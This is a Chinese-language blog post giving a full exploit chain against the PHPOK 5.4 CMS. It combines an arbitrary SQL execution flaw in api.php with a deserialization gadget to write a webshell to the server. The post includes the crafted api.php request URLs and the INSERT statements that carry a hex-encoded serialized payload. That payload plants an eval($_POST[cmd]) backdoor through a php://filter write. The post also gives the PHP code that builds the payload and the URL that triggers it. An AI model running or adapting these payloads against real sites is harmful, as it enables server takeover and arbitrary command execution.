PHPOK 5.4 Getshell

环境搭建

略~

漏洞原理

5.4修复了5.3中getshell的利用点
在call_control中的index_f()方法中添加了$data = $this->format($data); 对data进行过滤

这个format函数在刚开始请求到达的时候就会运行一次

最终返回不影响

但是index_f()中的format会将data中的键值对格式化将单引号双引号等进行实体编码
反序列化中有很多双引号 导致被过滤了

但是有新的链可以用
继续沿用5.3的call_control中的index_f方法在phpok_call中调用当前文件中任何_开头的方法

_sql()方法 会将实体化的部分重新转换回来,且$rs['sqlinfo']可控

这个方法可以执行任意sql语句
$this->db->get_all是执行sql语句

测试一下
api.php?c=call&f=index&data={"m_picplayer":{"site":1,"type_id":"sql"}}
可以进入_sql中 然后构造一个sql语句测试一下
和5.3一样 data中的value会拼接到_sql的第一个参数里边
api.php?c=call&f=index&data={"m_picplayer":{"site":1,"type_id":"sql","sqlinfo":"select%20*%20from%20qinggan_77"}}

执行成功

然后再找一个从数据库拿数据进行反序列化的
先从api里边找 content_control.php中

从fields表中查数据

我们只需要通过上边的任意执行sql语句 往fields中插入反序列化数据就可以
然后再往上看具体是从哪调用的
我们需要控制private function content_format($rs,&$data_info) rs这个参数里的module_id

从这里看到 传入一个id 通过id获取content(对应的表是list)

获取到module_id

需要注意的是下边的几个if语句 跟踪代码之后 需要project的表中后边两个参数为1
project通过list表中的project_id关联

所以我们就可以一次性构造三个表的数据 直接从数据库里边找到符合的数据 复制出来一个sql语句 改一下id 注意id之前的关联
首先是list表

INSERT INTO phpok54.qinggan_list
(id, parent_id, cate_id, module_id, project_id, site_id, title, dateline, lastdate, sort, status, hidden, hits, tpl, seo_title, seo_keywords, seo_desc, tag, attr, replydate, user_id, identifier, integral, `style`)
VALUES(6666, 0, 68, 22, 666, 1, '学编程xx,PHP是最好的入门手段', 1543242302, 1543242302, 0, 1, 0, 10, '', '', 'php,php框架', '', 'php,php框架,公司', '', 0, 0, '', 0, '');

然后是project表

INSERT INTO phpok54.qinggan_project
(id, parent_id, site_id, module, cate, title, nick_title, taxis, status, tpl_index, tpl_list, tpl_content, is_identifier, ico, orderby, alias_title, alias_note, psize, uid, identifier, seo_title, seo_keywords, seo_desc, subtopics, is_search, is_tag, is_biz, is_userid, is_tpl_content, is_seo, currency_id, admin_note, hidden, post_status, comment_status, post_tpl, etpl_admin, etpl_user, etpl_comment_admin, etpl_comment_user, is_attr, tag, cate_multiple, biz_attr, freight, list_fields, `style`, is_front, is_api)
VALUES(666, 0, 1, 22, 7, '资讯中心', '', 12, 1, '', '', '', 1, 'images/ico/article.png', 'l.sort DESC,l.dateline DESC,l.id DESC', '新闻主题', '', 20, 0, 'news', '', '', '', 0, 1, 1, 0, 1, 0, 1, 0, '', 0, 0, 1, '', '', '', '', 'register_code', 0, '', 0, 0, 0, 'note,thumb', '', 1, 1);

然后是fields表 这个表用16进制将反序列化数据存进去

INSERT INTO phpok54.qinggan_fields
(id, ftype, title, identifier, field_type, note, form_type, form_style, format, content, taxis, ext, is_front, `search`, search_separator, form_class)
VALUES(6666, '22', '内容', 'content', 'longtext', '', 'editor', '', 'html_js', '', 255, 0x4f3a353a226361636865223a333a7b733a393a22002a006b65795f6964223b733a343a222e2f6363223b733a31313a22002a006b65795f6c697374223b733a34313a22616161616150443977614841675a585a686243676b58314250553152625932316b58536b37507a343d223b733a393a22002a00666f6c646572223b733a36383a227068703a2f2f66696c7465722f77726974653d737472696e672e73747269705f746167737c636f6e766572742e6261736536342d6465636f64652f7265736f757263653d223b7d
, 0, 0, '', '');

反序列化数据还是用5.3中cache的链

<?php  
  
class cache  
{  
    protected $key_id = './cc';  
    protected $key_list = 'aaaaaPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=';  
    protected $folder = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=';  
}  
  
//echo serialize(new cache());  
$a=serialize(new cache());  
echo bin2hex($a);

再结合上边的任意sql执行 分别执行三条sql语句

api.php?c=call&f=index&data={"m_picplayer":{"site":1,"type_id":"sql","sqlinfo":"INSERT INTO phpok54.qinggan_list
(id, parent_id, cate_id, module_id, project_id, site_id, title, dateline, lastdate, sort, status, hidden, hits, tpl, seo_title, seo_keywords, seo_desc, tag, attr, replydate, user_id, identifier, integral, `style`)
VALUES(6666, 0, 68, 22, 666, 1, '学编程xx,PHP是最好的入门手段', 1543242302, 1543242302, 0, 1, 0, 10, '', '', 'php,php框架', '', 'php,php框架,公司', '', 0, 0, '', 0, '');"}}
api.php?c=call&f=index&data={"m_picplayer":{"site":1,"type_id":"sql","sqlinfo":"INSERT INTO phpok54.qinggan_project
(id, parent_id, site_id, module, cate, title, nick_title, taxis, status, tpl_index, tpl_list, tpl_content, is_identifier, ico, orderby, alias_title, alias_note, psize, uid, identifier, seo_title, seo_keywords, seo_desc, subtopics, is_search, is_tag, is_biz, is_userid, is_tpl_content, is_seo, currency_id, admin_note, hidden, post_status, comment_status, post_tpl, etpl_admin, etpl_user, etpl_comment_admin, etpl_comment_user, is_attr, tag, cate_multiple, biz_attr, freight, list_fields, `style`, is_front, is_api)
VALUES(666, 0, 1, 22, 7, '资讯中心', '', 12, 1, '', '', '', 1, 'images/ico/article.png', 'l.sort DESC,l.dateline DESC,l.id DESC', '新闻主题', '', 20, 0, 'news', '', '', '', 0, 1, 1, 0, 1, 0, 1, 0, '', 0, 0, 1, '', '', '', '', 'register_code', 0, '', 0, 0, 0, 'note,thumb', '', 1, 1);
"}}
api.php?c=call&f=index&data={"m_picplayer":{"site":1,"type_id":"sql","sqlinfo":"INSERT INTO phpok54.qinggan_fields
(id, ftype, title, identifier, field_type, note, form_type, form_style, format, content, taxis, ext, is_front, `search`, search_separator, form_class)
VALUES(6666, '22', '内容', 'content', 'longtext', '', 'editor', '', 'html_js', '', 255, 0x4f3a353a226361636865223a333a7b733a393a22002a006b65795f6964223b733a343a222e2f6363223b733a31313a22002a006b65795f6c697374223b733a34313a22616161616150443977614841675a585a686243676b58314250553152625932316b58536b37507a343d223b733a393a22002a00666f6c646572223b733a36383a227068703a2f2f66696c7465722f77726974653d737472696e672e73747269705f746167737c636f6e766572742e6261736536342d6465636f64652f7265736f757263653d223b7d
, 0, 0, '', '');"}}

又遇到一个问题

这个地方也有限制
最后查看表是这里

有一些数据 我们创建的id不在里边 所以没有权限 看到这里 其实也可以直接修改这个表的反序列化数据 最后反序列化成功

包括想继续用这条链 数据库执行修复一下这里的限制就可以了 不继续探讨了

我们也可以利用数据库中已经存在的数据 去达到反序列化刚刚我们插入的序列化数据
例如

这条数据
访问 api.php?c=content&f=index&id=1933
根据project_id查找到的数据 是符合下边的if条件的 然后进入content_format
又根据module_id查找fields中的ftype等于22的数据 以此给ext数据反序列化 这样就反序列化了刚刚插入进去的数据


PHPOK 5.4 Getshell
http://example.com/2022/11/23/安全研究/PHP安全/漏洞分析/PHPOK 5.4 Getshell/
作者
Autumn
发布于
2022年11月23日
许可协议